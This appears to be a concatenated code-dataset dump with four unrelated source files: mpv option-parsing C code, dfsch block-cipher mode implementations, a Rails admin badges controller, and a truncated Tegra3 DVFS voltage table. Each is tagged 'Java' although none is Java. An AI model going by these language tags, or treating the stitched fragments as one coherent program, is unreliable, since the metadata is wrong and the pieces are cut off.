MP_WARN(config, "Warning: option %s%s is deprecated "
"and might be removed in the future (%s).\n",
prefix, co->name, co->opt->deprecation_message);
co->warning_was_printed = true;
}
}
return co;
}
}
return NULL;
}
const char *m_config_get_positional_option(const struct m_config *config, int p)
{
int pos = 0;
for (int n = 0; n < config->num_opts; n++) {
struct m_config_option *co = &config->opts[n];
if (!co->is_generated) {
if (pos == p)
return co->name;
pos++;
}
}
return NULL;
}
// return: <0: M_OPT_ error, 0: skip, 1: check, 2: set
static int handle_set_opt_flags(struct m_config *config,
struct m_config_option *co, int flags)
{
int optflags = co->opt->flags;
bool set = !(flags & M_SETOPT_CHECK_ONLY);
if ((flags & M_SETOPT_PRE_PARSE_ONLY) && !(optflags & M_OPT_PRE_PARSE))
return 0;
if ((flags & M_SETOPT_PRESERVE_CMDLINE) && co->is_set_from_cmdline)
set = false;
if ((flags & M_SETOPT_NO_FIXED) && (optflags & M_OPT_FIXED))
return M_OPT_INVALID;
if ((flags & M_SETOPT_NO_PRE_PARSE) && (optflags & M_OPT_PRE_PARSE))
return M_OPT_INVALID;
// Check if this option isn't forbidden in the current mode
if ((flags & M_SETOPT_FROM_CONFIG_FILE) && (optflags & M_OPT_NOCFG)) {
MP_ERR(config, "The %s option can't be used in a config file.\n",
co->name);
return M_OPT_INVALID;
}
if (flags & M_SETOPT_BACKUP) {
if (optflags & M_OPT_GLOBAL) {
MP_ERR(config, "The %s option is global and can't be set per-file.\n",
co->name);
return M_OPT_INVALID;
}
if (set)
ensure_backup(config, co);
}
return set ? 2 : 1;
}
static void handle_on_set(struct m_config *config, struct m_config_option *co,
int flags)
{
if (flags & M_SETOPT_FROM_CMDLINE) {
co->is_set_from_cmdline = true;
// Mark aliases too
if (co->data) {
for (int n = 0; n < config->num_opts; n++) {
struct m_config_option *co2 = &config->opts[n];
if (co2->data == co->data)
co2->is_set_from_cmdline = true;
}
}
}
if (config->global && (co->opt->flags & M_OPT_TERM))
mp_msg_update_msglevels(config->global);
}
// The type data points to is as in: m_config_get_co(config, name)->opt
int m_config_set_option_raw(struct m_config *config, struct m_config_option *co,
void *data, int flags)
{
if (!co)
return M_OPT_UNKNOWN;
// This affects some special options like "include", "profile". Maybe these
// should work, or maybe not. For now they would require special code.
if (!co->data)
return M_OPT_UNKNOWN;
int r = handle_set_opt_flags(config, co, flags);
if (r <= 1)
return r;
m_option_copy(co->opt, co->data, data);
handle_on_set(config, co, flags);
return 0;
}
static int parse_subopts(struct m_config *config, char *name, char *prefix,
struct bstr param, int flags);
static int m_config_parse_option(struct m_config *config, struct bstr name,
struct bstr param, int flags)
{
assert(config != NULL);
struct m_config_option *co = m_config_get_co(config, name);
if (!co)
return M_OPT_UNKNOWN;
// This is the only mandatory function
assert(co->opt->type->parse);
int r = handle_set_opt_flags(config, co, flags);
if (r <= 0)
return r;
bool set = r == 2;
if (set) {
MP_VERBOSE(config, "Setting option '%.*s' = '%.*s' (flags = %d)\n",
BSTR_P(name), BSTR_P(param), flags);
}
if (config->includefunc && bstr_equals0(name, "include"))
return parse_include(config, param, set, flags);
if (config->use_profiles && bstr_equals0(name, "profile"))
return parse_profile(config, co->opt, name, param, set, flags);
if (config->use_profiles && bstr_equals0(name, "show-profile"))
return show_profile(config, param);
if (bstr_equals0(name, "list-options"))
return list_options(config);
// Option with children are a bit different to parse
if (co->opt->type->flags & M_OPT_TYPE_HAS_CHILD) {
char prefix[110];
assert(strlen(co->name) < 100);
sprintf(prefix, "%s-", co->name);
return parse_subopts(config, (char *)co->name, prefix, param, flags);
}
r = m_option_parse(config->log, co->opt, name, param, set ? co->data : NULL);
if (r >= 0 && set)
handle_on_set(config, co, flags);
return r;
}
static int parse_subopts(struct m_config *config, char *name, char *prefix,
struct bstr param, int flags)
{
char **lst = NULL;
// Split the argument into child options
int r = m_option_type_subconfig.parse(config->log, NULL, bstr0(""), param, &lst);
if (r < 0)
return r;
// Parse the child options
for (int i = 0; lst && lst[2 * i]; i++) {
// Build the full name
char n[110];
if (snprintf(n, 110, "%s%s", prefix, lst[2 * i]) > 100)
abort();
r = m_config_parse_option(config,bstr0(n), bstr0(lst[2 * i + 1]), flags);
if (r < 0) {
if (r > M_OPT_EXIT) {
MP_ERR(config, "Error parsing suboption %s/%s (%s)\n",
name, lst[2 * i], m_option_strerror(r));
r = M_OPT_INVALID;
}
break;
}
}
talloc_free(lst);
return r;
}
int m_config_parse_suboptions(struct m_config *config, char *name,
char *subopts)
{
if (!subopts || !*subopts)
return 0;
int r = parse_subopts(config, name, "", bstr0(subopts), 0);
if (r < 0 && r > M_OPT_EXIT) {
MP_ERR(config, "Error parsing suboption %s (%s)\n",
name, m_option_strerror(r));
r = M_OPT_INVALID;
}
return r;
}
int m_config_set_option_ext(struct m_config *config, struct bstr name,
struct bstr param, int flags)
{
int r = m_config_parse_option(config, name, param, flags);
if (r < 0 && r > M_OPT_EXIT) {
MP_ERR(config, "Error parsing option %.*s (%s)\n",
BSTR_P(name), m_option_strerror(r));
r = M_OPT_INVALID;
}
return r;
}
int m_config_set_option(struct m_config *config, struct bstr name,
struct bstr param)
{
return m_config_set_option_ext(config, name, param, 0);
}
int m_config_set_option_node(struct m_config *config, bstr name,
struct mpv_node *data, int flags)
{
struct m_config_option *co = m_config_get_co(config, name);
if (!co)
return M_OPT_UNKNOWN;
int r;
// Do this on an "empty" type to make setting the option strictly overwrite
// the old value, as opposed to e.g. appending to lists.
union m_option_value val = {0};
if (data->format == MPV_FORMAT_STRING) {
bstr param = bstr0(data->u.string);
r = m_option_parse(mp_null_log, co->opt, name, param, &val);
} else {
r = m_option_set_node(co->opt, &val, data);
}
if (r >= 0)
r = m_config_set_option_raw(config, co, &val, flags);
if (mp_msg_test(config->log, MSGL_V)) {
char *s = m_option_type_node.print(NULL, data);
MP_VERBOSE(config, "Setting option '%.*s' = %s (flags = %d) -> %d\n",
BSTR_P(name), s ? s : "?", flags, r);
talloc_free(s);
}
m_option_free(co->opt, &val);
return r;
}
const struct m_option *m_config_get_option(const struct m_config *config,
struct bstr name)
{
assert(config != NULL);
struct m_config_option *co = m_config_get_co(config, name);
return co ? co->opt : NULL;
}
int m_config_option_requires_param(struct m_config *config, bstr name)
{
const struct m_option *opt = m_config_get_option(config, name);
if (opt) {
if (bstr_endswith0(name, "-clr"))
return 0;
return m_option_required_params(opt);
}
return M_OPT_UNKNOWN;
}
static int sort_opt_compare(const void *pa, const void *pb)
{
const struct m_config_option *a = pa;
const struct m_config_option *b = pb;
return strcasecmp(a->name, b->name);
}
void m_config_print_option_list(const struct m_config *config)
{
char min[50], max[50];
int count = 0;
const char *prefix = config->is_toplevel ? "--" : "";
struct m_config_option *sorted =
talloc_memdup(NULL, config->opts, config->num_opts * sizeof(sorted[0]));
if (config->is_toplevel)
qsort(sorted, config->num_opts, sizeof(sorted[0]), sort_opt_compare);
MP_INFO(config, "Options:\n\n");
for (int i = 0; i < config->num_opts; i++) {
struct m_config_option *co = &sorted[i];
const struct m_option *opt = co->opt;
if (opt->type->flags & M_OPT_TYPE_HAS_CHILD)
continue;
if (co->is_generated)
continue;
if (opt->type == &m_option_type_alias ||
opt->type == &m_option_type_removed)
continue;
MP_INFO(config, " %s%-30s", prefix, co->name);
if (opt->type == &m_option_type_choice) {
MP_INFO(config, " Choices:");
struct m_opt_choice_alternatives *alt = opt->priv;
for (int n = 0; alt[n].name; n++)
MP_INFO(config, " %s", alt[n].name);
if (opt->flags & (M_OPT_MIN | M_OPT_MAX))
MP_INFO(config, " (or an integer)");
} else {
MP_INFO(config, " %s", co->opt->type->name);
}
if (opt->flags & (M_OPT_MIN | M_OPT_MAX)) {
snprintf(min, sizeof(min), "any");
snprintf(max, sizeof(max), "any");
if (opt->flags & M_OPT_MIN)
snprintf(min, sizeof(min), "%.14g", opt->min);
if (opt->flags & M_OPT_MAX)
snprintf(max, sizeof(max), "%.14g", opt->max);
MP_INFO(config, " (%s to %s)", min, max);
}
char *def = NULL;
if (co->default_data)
def = m_option_print(co->opt, co->default_data);
if (def) {
MP_INFO(config, " (default: %s)", def);
talloc_free(def);
}
if (opt->flags & M_OPT_GLOBAL)
MP_INFO(config, " [global]");
if (opt->flags & M_OPT_NOCFG)
MP_INFO(config, " [nocfg]");
if (opt->flags & M_OPT_FILE)
MP_INFO(config, " [file]");
MP_INFO(config, "\n");
count++;
}
MP_INFO(config, "\nTotal: %d options\n", count);
talloc_free(sorted);
}
char **m_config_list_options(void *ta_parent, const struct m_config *config)
{
char **list = talloc_new(ta_parent);
int count = 0;
for (int i = 0; i < config->num_opts; i++) {
struct m_config_option *co = &config->opts[i];
const struct m_option *opt = co->opt;
if (opt->type->flags & M_OPT_TYPE_HAS_CHILD)
continue;
if (co->is_generated)
continue;
// For use with CONF_TYPE_STRING_LIST, it's important not to set list
// as allocation parent.
char *s = talloc_strdup(ta_parent, co->name);
MP_TARRAY_APPEND(ta_parent, list, count, s);
}
MP_TARRAY_APPEND(ta_parent, list, count, NULL);
return list;
}
struct m_profile *m_config_get_profile(const struct m_config *config, bstr name)
{
for (struct m_profile *p = config->profiles; p; p = p->next) {
if (bstr_equals0(name, p->name))
return p;
}
return NULL;
}
struct m_profile *m_config_get_profile0(const struct m_config *config,
char *name)
{
return m_config_get_profile(config, bstr0(name));
}
struct m_profile *m_config_add_profile(struct m_config *config, char *name)
{
if (!name || !name[0] || strcmp(name, "default") == 0)
return NULL; // never a real profile
struct m_profile *p = m_config_get_profile0(config, name);
if (p)
return p;
p = talloc_zero(config, struct m_profile);
p->name = talloc_strdup(p, name);
p->next = config->profiles;
config->profiles = p;
return p;
}
void m_profile_set_desc(struct m_profile *p, bstr desc)
{
talloc_free(p->desc);
p->desc = bstrdup0(p, desc);
}
int m_config_set_profile_option(struct m_config *config, struct m_profile *p,
bstr name, bstr val)
{
int i = m_config_set_option_ext(config, name, val,
M_SETOPT_CHECK_ONLY |
M_SETOPT_FROM_CONFIG_FILE);
if (i < 0)
return i;
p->opts = talloc_realloc(p, p->opts, char *, 2 * (p->num_opts + 2));
p->opts[p->num_opts * 2] = bstrdup0(p, name);
p->opts[p->num_opts * 2 + 1] = bstrdup0(p, val);
p->num_opts++;
p->opts[p->num_opts * 2] = p->opts[p->num_opts * 2 + 1] = NULL;
return 1;
}
int m_config_set_profile(struct m_config *config, char *name, int flags)
{
struct m_profile *p = m_config_get_profile0(config, name);
if (!p) {
MP_WARN(config, "Unknown profile '%s'.\n", name);
return M_OPT_INVALID;
}
if (config->profile_depth > MAX_PROFILE_DEPTH) {
MP_WARN(config, "WARNING: Profile inclusion too deep.\n");
return M_OPT_UNKNOWN;
}
config->profile_depth++;
for (int i = 0; i < p->num_opts; i++) {
m_config_set_option_ext(config,
bstr0(p->opts[2 * i]),
bstr0(p->opts[2 * i + 1]),
flags | M_SETOPT_FROM_CONFIG_FILE);
}
config->profile_depth--;
return 0;
}
void *m_config_alloc_struct(void *talloc_ctx,
const struct m_sub_options *subopts)
{
void *substruct = talloc_zero_size(talloc_ctx, subopts->size);
if (subopts->defaults)
memcpy(substruct, subopts->defaults, subopts->size);
return substruct;
}
struct dtor_info {
const struct m_sub_options *opts;
void *ptr;
};
static void free_substruct(void *ptr)
{
struct dtor_info *d = ptr;
for (int n = 0; d->opts->opts && d->opts->opts[n].type; n++) {
const struct m_option *opt = &d->opts->opts[n];
void *dst = (char *)d->ptr + opt->offset;
m_option_free(opt, dst);
}
}
// Passing ptr==NULL initializes it from proper defaults.
void *m_sub_options_copy(void *talloc_ctx, const struct m_sub_options *opts,
const void *ptr)
{
void *new = m_config_alloc_struct(talloc_ctx, opts);
struct dtor_info *dtor = talloc_ptrtype(new, dtor);
*dtor = (struct dtor_info){opts, new};
talloc_set_destructor(dtor, free_substruct);
for (int n = 0; opts->opts && opts->opts[n].type; n++) {
const struct m_option *opt = &opts->opts[n];
if (opt->offset < 0)
continue;
void *src = ptr ? (char *)ptr + opt->offset : NULL;
void *dst = (char *)new + opt->offset;
if (opt->type->flags & M_OPT_TYPE_HAS_CHILD) {
// Specifying a default struct for a sub-option field in the
// containing struct's default struct is not supported here.
// (Out of laziness. Could possibly be supported.)
assert(!substruct_read_ptr(dst));
const struct m_sub_options *subopts = opt->priv;
const void *sub_src = NULL;
if (src)
sub_src = substruct_read_ptr(src);
if (!sub_src)
sub_src = subopts->defaults;
void *sub_dst = m_sub_options_copy(new, subopts, sub_src);
substruct_write_ptr(dst, sub_dst);
} else {
init_opt_inplace(opt, dst, src);
}
}
return new;
}
struct m_config *m_config_dup(void *talloc_ctx, struct m_config *config)
{
struct m_config *new = m_config_new(talloc_ctx, config->log, config->size,
config->defaults, config->options);
assert(new->num_opts == config->num_opts);
for (int n = 0; n < new->num_opts; n++) {
assert(new->opts[n].opt->type == config->opts[n].opt->type);
m_option_copy(new->opts[n].opt, new->opts[n].data, config->opts[n].data);
}
return new;
}
| Java |
#include <dfsch/lib/crypto.h>
static void ecb_setup(dfsch_block_cipher_mode_context_t* cipher,
uint8_t* iv,
size_t iv_len){
if (iv_len != 0){
dfsch_error("ECB mode has no IV", NULL);
}
}
static void ecb_encrypt(dfsch_block_cipher_mode_context_t* context,
uint8_t* in,
uint8_t* out,
size_t blocks){
size_t bsize = context->cipher->cipher->block_size;
int i;
for (i = 0; i < blocks; i++){
context->cipher->cipher->encrypt(context->cipher,
in + (bsize * i), out + (bsize * i));
}
}
static void ecb_decrypt(dfsch_block_cipher_mode_context_t* context,
uint8_t* in,
uint8_t* out,
size_t blocks){
size_t bsize = context->cipher->cipher->block_size;
int i;
for (i = 0; i < blocks; i++){
context->cipher->cipher->decrypt(context->cipher,
in + (bsize * i), out + (bsize * i));
}
}
dfsch_block_cipher_mode_t dfsch_crypto_ecb_mode = {
.type = {
.type = DFSCH_BLOCK_CIPHER_MODE_TYPE,
.name = "crypto:ecb",
.size = sizeof(dfsch_block_cipher_mode_context_t),
},
.name = "ECB",
.encrypt = ecb_encrypt,
.decrypt = ecb_decrypt,
.setup = ecb_setup
};
static void memxor(uint8_t* dst, uint8_t* src, size_t count){
while (count){
*dst ^= *src;
dst++;
src++;
count--;
}
}
typedef struct cbc_context_t {
dfsch_block_cipher_mode_context_t parent;
uint8_t* iv;
} cbc_context_t;
static void cbc_setup(cbc_context_t* context,
uint8_t* iv,
size_t iv_len){
if (iv_len != context->parent.cipher->cipher->block_size){
dfsch_error("CBC IV length must be equal to block size", NULL);
}
context->iv = GC_MALLOC_ATOMIC(iv_len);
memcpy(context->iv, iv, iv_len);
}
static void cbc_encrypt(cbc_context_t* context,
uint8_t* in,
uint8_t* out,
size_t blocks){
size_t bsize = context->parent.cipher->cipher->block_size;
int i;
for (i = 0; i < blocks; i++){
memxor(context->iv, in + (bsize * i), bsize);
context->parent.cipher->cipher->encrypt(context->parent.cipher,
context->iv,
context->iv);
memcpy(out + (bsize * i), context->iv, bsize);
}
}
static void cbc_decrypt(cbc_context_t* context,
uint8_t* in,
uint8_t* out,
size_t blocks){
size_t bsize = context->parent.cipher->cipher->block_size;
int i;
uint8_t tmp[bsize];
for (i = 0; i < blocks; i++){
memcpy(tmp, in + (bsize * i), bsize);
context->parent.cipher->cipher->decrypt(context->parent.cipher,
in + (bsize * i),
out + (bsize * i));
memxor(out + (bsize * i), context->iv, bsize);
memcpy(context->iv, tmp, bsize);
}
}
dfsch_block_cipher_mode_t dfsch_crypto_cbc_mode = {
.type = {
.type = DFSCH_BLOCK_CIPHER_MODE_TYPE,
.name = "crypto:cbc",
.size = sizeof(cbc_context_t),
},
.name = "CBC",
.encrypt = cbc_encrypt,
.decrypt = cbc_decrypt,
.setup = cbc_setup
};
typedef struct cfb_context_t {
dfsch_block_cipher_mode_context_t parent;
uint8_t* iv;
} cfb_context_t;
static void cfb_setup(cfb_context_t* context,
uint8_t* iv,
size_t iv_len){
if (iv_len != context->parent.cipher->cipher->block_size){
dfsch_error("CFB IV length must be equal to block size", NULL);
}
context->iv = GC_MALLOC_ATOMIC(iv_len);
memcpy(context->iv, iv, iv_len);
}
static void cfb_encrypt(cfb_context_t* context,
uint8_t* in,
uint8_t* out,
size_t blocks){
size_t bsize = context->parent.cipher->cipher->block_size;
int i;
for (i = 0; i < blocks; i++){
context->parent.cipher->cipher->encrypt(context->parent.cipher,
context->iv,
context->iv);
memxor(context->iv, in + (bsize * i), bsize);
memcpy(out + (bsize * i), context->iv, bsize);
}
}
static void cfb_decrypt(cfb_context_t* context,
uint8_t* in,
uint8_t* out,
size_t blocks){
size_t bsize = context->parent.cipher->cipher->block_size;
int i;
uint8_t tmp[bsize];
for (i = 0; i < blocks; i++){
memcpy(tmp, in + (bsize * i), bsize);
context->parent.cipher->cipher->encrypt(context->parent.cipher,
context->iv,
out + (bsize * i));
memxor(out + (bsize * i), tmp, bsize);
memcpy(context->iv, tmp, bsize);
}
}
dfsch_block_cipher_mode_t dfsch_crypto_cfb_mode = {
.type = {
.type = DFSCH_BLOCK_CIPHER_MODE_TYPE,
.name = "crypto:cfb",
.size = sizeof(cfb_context_t),
},
.name = "CFB",
.encrypt = cfb_encrypt,
.decrypt = cfb_decrypt,
.setup = cfb_setup
};
typedef struct ofb_context_t {
dfsch_block_cipher_mode_context_t parent;
uint8_t* iv;
} ofb_context_t;
static void ofb_setup(ofb_context_t* context,
uint8_t* iv,
size_t iv_len){
if (iv_len != context->parent.cipher->cipher->block_size){
dfsch_error("OFB IV length must be equal to block size", NULL);
}
context->iv = GC_MALLOC_ATOMIC(iv_len);
memcpy(context->iv, iv, iv_len);
}
static void ofb_operate(ofb_context_t* context,
uint8_t* in,
uint8_t* out,
size_t blocks){
size_t bsize = context->parent.cipher->cipher->block_size;
int i;
for (i = 0; i < blocks; i++){
context->parent.cipher->cipher->encrypt(context->parent.cipher,
context->iv,
context->iv);
memcpy(out + (bsize * i), in + (bsize * i), bsize);
memxor(out + (bsize * i), context->iv, bsize);
}
}
dfsch_block_cipher_mode_t dfsch_crypto_ofb_mode = {
.type = {
.type = DFSCH_BLOCK_CIPHER_MODE_TYPE,
.name = "crypto:ofb",
.size = sizeof(ofb_context_t),
},
.name = "OFB",
.encrypt = ofb_operate,
.decrypt = ofb_operate,
.setup = ofb_setup
};
/* This implementation of CTR mode comes from NIST recommendation,
which is different in significant details from AES-CTR used by TLS
and IPsec (which are even mutually different). CTR mode can use
various additional data from underlying protocol, which
unfortunately means that each protocol uses completely different
method of construing CTR value */
typedef struct ctr_context_t {
dfsch_block_cipher_mode_context_t parent;
uint8_t* ctr;
} ctr_context_t;
static void ctr_setup(ctr_context_t* context,
uint8_t* iv,
size_t iv_len){
if (iv_len != context->parent.cipher->cipher->block_size){
dfsch_error("CTR IV length must be equal to block size", NULL);
}
context->ctr = GC_MALLOC_ATOMIC(iv_len);
memcpy(context->ctr, iv, iv_len);
}
static void ctr_operate(ctr_context_t* context,
uint8_t* in,
uint8_t* out,
size_t blocks){
size_t bsize = context->parent.cipher->cipher->block_size;
int i;
int j;
uint8_t tmp[bsize];
for (i = 0; i < blocks; i++){
context->parent.cipher->cipher->encrypt(context->parent.cipher,
context->ctr,
tmp);
memcpy(out + (bsize * i), in + (bsize * i), bsize);
memxor(out + (bsize * i), tmp, bsize);
/* Increment counter, little endian */
for (j = 0; j < bsize; j++){
context->ctr[j]++;
if (context->ctr[j] != 0){
break;
}
}
}
}
dfsch_block_cipher_mode_t dfsch_crypto_ctr_mode = {
.type = {
.type = DFSCH_BLOCK_CIPHER_MODE_TYPE,
.name = "crypto:ctr",
.size = sizeof(ctr_context_t),
},
.name = "CTR",
.encrypt = ctr_operate,
.decrypt = ctr_operate,
.setup = ctr_setup
};
typedef struct block_stream_mode_t {
dfsch_stream_cipher_t parent;
dfsch_block_cipher_t* cipher;
} block_stream_mode_t;
dfsch_type_t dfsch_block_stream_mode_type = {
.type = DFSCH_META_TYPE,
.superclass = DFSCH_STREAM_CIPHER_TYPE,
.name = "block-stream-mode",
.size = sizeof(block_stream_mode_t),
};
typedef struct block_stream_context_t {
block_stream_mode_t* mode;
dfsch_block_cipher_context_t* cipher;
uint8_t* next_input;
uint8_t* last_output;
size_t output_offset;
size_t output_size;
} block_stream_context_t;
static void bs_ofb_setup(block_stream_context_t* ctx,
uint8_t *key,
size_t keylen,
uint8_t *nonce,
size_t nonce_len){
if (nonce_len != ctx->mode->cipher->block_size){
dfsch_error("Nonce for OFB mode must be same size as cipher's block",
NULL);
}
ctx->cipher = dfsch_setup_block_cipher(ctx->mode->cipher, key, keylen);
ctx->next_input = GC_MALLOC_ATOMIC(ctx->mode->cipher->block_size);
ctx->last_output = GC_MALLOC_ATOMIC(ctx->mode->cipher->block_size);
ctx->output_offset = ctx->mode->cipher->block_size;
ctx->output_size = ctx->mode->cipher->block_size;
memcpy(ctx->next_input, nonce, ctx->output_size);
}
static void bs_ofb_encrypt_bytes(block_stream_context_t* ctx,
uint8_t* out,
size_t outlen){
while (outlen){
if (ctx->output_offset >= ctx->output_size){
ctx->cipher->cipher->encrypt(ctx->cipher,
ctx->next_input,
ctx->last_output);
memcpy(ctx->next_input, ctx->last_output, ctx->output_size);
ctx->output_offset = 0;
}
*out ^= ctx->last_output[ctx->output_offset];
ctx->output_offset++;
out++;
outlen--;
}
}
dfsch_stream_cipher_t* dfsch_make_ofb_cipher(dfsch_block_cipher_t* cipher){
block_stream_mode_t* bs = dfsch_make_object(DFSCH_BLOCK_STREAM_MODE_TYPE);
bs->parent.name = dfsch_saprintf("%s in OFB mode",
cipher->name);
bs->parent.type.name = dfsch_saprintf("%s-ofb", cipher->type.name);
bs->parent.type.size = sizeof(block_stream_context_t);
bs->parent.setup = bs_ofb_setup;
bs->parent.encrypt_bytes = bs_ofb_encrypt_bytes;
return bs;
}
static void bs_ctr_setup(block_stream_context_t* ctx,
uint8_t *key,
size_t keylen,
uint8_t *nonce,
size_t nonce_len){
if (nonce_len != ctx->mode->cipher->block_size){
dfsch_error("Nonce for OFB mode must be same size as cipher's block",
NULL);
}
ctx->cipher = dfsch_setup_block_cipher(ctx->mode->cipher, key, keylen);
ctx->next_input = GC_MALLOC_ATOMIC(ctx->mode->cipher->block_size);
ctx->last_output = GC_MALLOC_ATOMIC(ctx->mode->cipher->block_size);
ctx->output_offset = ctx->mode->cipher->block_size;
ctx->output_size = ctx->mode->cipher->block_size;
memcpy(ctx->next_input, nonce, ctx->output_size);
}
static void bs_ctr_encrypt_bytes(block_stream_context_t* ctx,
uint8_t* out,
size_t outlen){
int i;
while (outlen){
if (ctx->output_offset >= ctx->output_size){
ctx->cipher->cipher->encrypt(ctx->cipher,
ctx->next_input,
ctx->last_output);
for (i = 0; i < ctx->output_size; i++){
ctx->next_input[i]++;
if (ctx->next_input[i] != 0){
break;
}
}
ctx->output_offset = 0;
}
*out ^= ctx->last_output[ctx->output_offset];
ctx->output_offset++;
out++;
outlen--;
}
}
dfsch_stream_cipher_t* dfsch_make_ctr_cipher(dfsch_block_cipher_t* cipher){
block_stream_mode_t* bs = dfsch_make_object(DFSCH_BLOCK_STREAM_MODE_TYPE);
bs->parent.name = dfsch_saprintf("%s in CTR mode",
cipher->name);
bs->parent.type.name = dfsch_saprintf("%s-ctr", cipher->type.name);
bs->parent.type.size = sizeof(block_stream_context_t);
bs->parent.setup = bs_ctr_setup;
bs->parent.encrypt_bytes = bs_ctr_encrypt_bytes;
return bs;
}
| Java |
class Admin::BadgesController < Admin::AdminController
def badge_types
badge_types = BadgeType.all.to_a
render_serialized(badge_types, BadgeTypeSerializer, root: "badge_types")
end
def create
badge = Badge.new
update_badge_from_params(badge)
badge.save!
render_serialized(badge, BadgeSerializer, root: "badge")
end
def update
badge = find_badge
update_badge_from_params(badge)
badge.save!
render_serialized(badge, BadgeSerializer, root: "badge")
end
def destroy
find_badge.destroy
render nothing: true
end
private
def find_badge
params.require(:id)
Badge.find(params[:id])
end
def update_badge_from_params(badge)
params.permit(:name, :description, :badge_type_id, :allow_title, :multiple_grant)
badge.name = params[:name]
badge.description = params[:description]
badge.badge_type = BadgeType.find(params[:badge_type_id])
badge.allow_title = params[:allow_title]
badge.multiple_grant = params[:multiple_grant]
badge.icon = params[:icon]
badge
end
end
| Java |
/*
* arch/arm/mach-tegra/tegra3_dvfs.c
*
* Copyright (C) 2010-2011 NVIDIA Corporation.
*
* This software is licensed under the terms of the GNU General Public
* License version 2, as published by the Free Software Foundation, and
* may be copied, distributed, and modified under those terms.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
*/
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/string.h>
#include <linux/module.h>
#include <linux/clk.h>
#include <linux/kobject.h>
#include <linux/err.h>
#include "clock.h"
#include "dvfs.h"
#include "fuse.h"
#include "board.h"
#include "tegra3_emc.h"
static bool tegra_dvfs_cpu_disabled;
static bool tegra_dvfs_core_disabled;
static struct dvfs *cpu_dvfs;
static const int cpu_millivolts[MAX_DVFS_FREQS] = {
750, 800, 825, 850, 875, 900, 950, 975, 1000, 1025, 1050, 1100, 1200, 1275, 1275, 1275, 1300, 1325};
//750, 800, 825, 850, 875, 912, 975, 1000, 1025, 1050, 1075, 1100, 1150, 1200, 1212, 1225, 1250, 1300};
static const unsigned int cpu_cold_offs_mhz[MAX_DVFS_FREQS] = {
50, 50, 50, 50, 50, 50, 50, 50, 50, 50, 50, 50, 50, 50, 50, 50, 50, 50};
static const int core_millivolts[MAX_DVFS_FREQS] = {
900, 1000, 1050, 1100, 1150, 1200, 1250, 1300, 1350};
#define KHZ 1000
#define MHZ 1000000
/* VDD_CPU >= (VDD_CORE - cpu_below_core) */
/* VDD_CORE >= min_level(VDD_CPU), see tegra3_get_core_floor_mv() below */
#define VDD_CPU_BELOW_VDD_CORE 300
static int cpu_below_core = VDD_CPU_BELOW_VDD_CORE;
#define VDD_SAFE_STEP 100
static struct dvfs_rail tegra3_dvfs_rail_vdd_cpu = {
.reg_id = "vdd_cpu",
.max_millivolts = 1300,
.min_millivolts = 750,
.step = VDD_SAFE_STEP,
.jmp_to_zero = true,
};
static struct dvfs_rail tegra3_dvfs_rail_vdd_core = {
.reg_id = "vdd_core",
.max_millivolts = 1350,
.min_millivolts = 900,
.step = VDD_SAFE_STEP,
};
static struct dvfs_rail *tegra3_dvfs_rails[] = {
&tegra3_dvfs_rail_vdd_cpu,
&tegra3_dvfs_rail_vdd_core,
};
static int tegra3_get_core_floor_mv(int cpu_mv)
{
if (cpu_mv < 800)
return 950;
if (cpu_mv < 900)
return 1000;
if (cpu_mv < 1000)
return 1100;
if ((tegra_cpu_speedo_id() < 2) ||
(tegra_cpu_speedo_id() == 4) ||
(tegra_cpu_speedo_id() == 7) ||
(tegra_cpu_speedo_id() == 8))
return 1200;
if (cpu_mv < 1100)
return 1200;
if (cpu_mv <= 1250)
return 1300;
BUG();
}
/* vdd_core must be >= min_level as a function of vdd_cpu */
static int tegra3_dvfs_rel_vdd_cpu_vdd_core(struct dvfs_rail *vdd_cpu,
struct dvfs_rail *vdd_core)
{
int core_floor = max(vdd_cpu->new_millivolts, vdd_cpu->millivolts);
core_floor = tegra3_get_core_floor_mv(core_floor);
return max(vdd_core->new_millivolts, core_floor);
}
/* vdd_cpu must be >= (vdd_core - cpu_below_core) */
static int tegra3_dvfs_rel_vdd_core_vdd_cpu(struct dvfs_rail *vdd_core,
struct dvfs_rail *vdd_cpu)
{
int cpu_floor;
if (vdd_cpu->new_millivolts == 0)
return 0; /* If G CPU is off, core relations can be ignored */
cpu_floor = max(vdd_core->new_millivolts, vdd_core->millivolts) -
cpu_below_core;
return max(vdd_cpu->new_millivolts, cpu_floor);
}
static struct dvfs_relationship tegra3_dvfs_relationships[] = {
{
.from = &tegra3_dvfs_rail_vdd_cpu,
.to = &tegra3_dvfs_rail_vdd_core,
.solve = tegra3_dvfs_rel_vdd_cpu_vdd_core,
.solved_at_nominal = true,
},
{
.from = &tegra3_dvfs_rail_vdd_core,
.to = &tegra3_dvfs_rail_vdd_cpu,
.solve = tegra3_dvfs_rel_vdd_core_vdd_cpu,
},
};
#define CPU_DVFS(_clk_name, _speedo_id, _process_id, _mult, _freqs...) \
{ \
.clk_name = _clk_name, \
.speedo_id = _speedo_id, \
.process_id = _process_id, \
.freqs = {_freqs}, \
.freqs_mult = _mult, \
.millivolts = cpu_millivolts, \
.auto_dvfs = true, \
.dvfs_rail = &tegra3_dvfs_rail_vdd_cpu, \
}
static struct dvfs cpu_dvfs_table[] = {
/* Cpu voltages (mV): 800, 825, 850, 875, 900, 912, 975, 1000, 1025, 1050, 1075, 1100, 1125, 1150, 1175, 1200, 1212, 1237 */
CPU_DVFS("cpu_g", 0, 0, MHZ, 1, 1, 684, 684, 817, 817, 1026, 1102, 1149, 1187, 1225, 1282, 1300),
CPU_DVFS("cpu_g", 0, 1, MHZ, 1, 1, 807, 807, 948, 948, 1117, 1171, 1206, 1300),
CPU_DVFS("cpu_g", 0, 2, MHZ, 1, 1, 883, 883, 1039, 1039, 1178, 1206, 1300),
CPU_DVFS("cpu_g", 0, 3, MHZ, 1, 1, 931, 931, 1102, 1102, 1216, 1300),
CPU_DVFS("cpu_g", 1, 0, MHZ, 460, 460, 550, 550, 680, 680, 820, 970, 1040, 1080, 1150, 1200, 1280, 1300),
CPU_DVFS("cpu_g", 1, 1, MHZ, 480, 480, 650, 650, 780, 780, 990, 1040, 1100, 1200, 1300),
CPU_DVFS("cpu_g", 1, 2, MHZ, 520, 520, 700, 700, 860, 860, 1050, 1150, 1200, 1300),
CPU_DVFS("cpu_g", 1, 3, MHZ, 550, 550, 770, 770, 910, 910, 1150, 1230, 1300),
